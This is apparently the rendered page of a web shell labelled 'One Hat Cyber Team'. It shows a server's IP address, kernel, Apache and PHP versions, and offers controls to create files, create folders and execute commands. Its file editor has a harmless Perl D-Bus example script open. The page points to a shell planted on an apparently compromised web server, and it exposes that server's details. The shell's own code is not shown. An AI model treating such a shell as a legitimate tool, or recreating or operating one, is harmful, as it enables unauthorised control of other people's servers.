One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
libnet-dbus-perl
/
examples
/
Edit File:
dump-object.pl
#!/usr/bin/perl use warnings; use strict; use Net::DBus; use Net::DBus::Dumper; use Carp qw(confess); $SIG{__DIE__} = sub {confess $_[0] }; my $bus = Net::DBus->find; if (@ARGV) { my $service = $bus->get_service(shift @ARGV); if (@ARGV) { my $object = $service->get_object(shift @ARGV); print dbus_dump($object); } else { print dbus_dump($service); } } else { print dbus_dump($bus); }
Simpan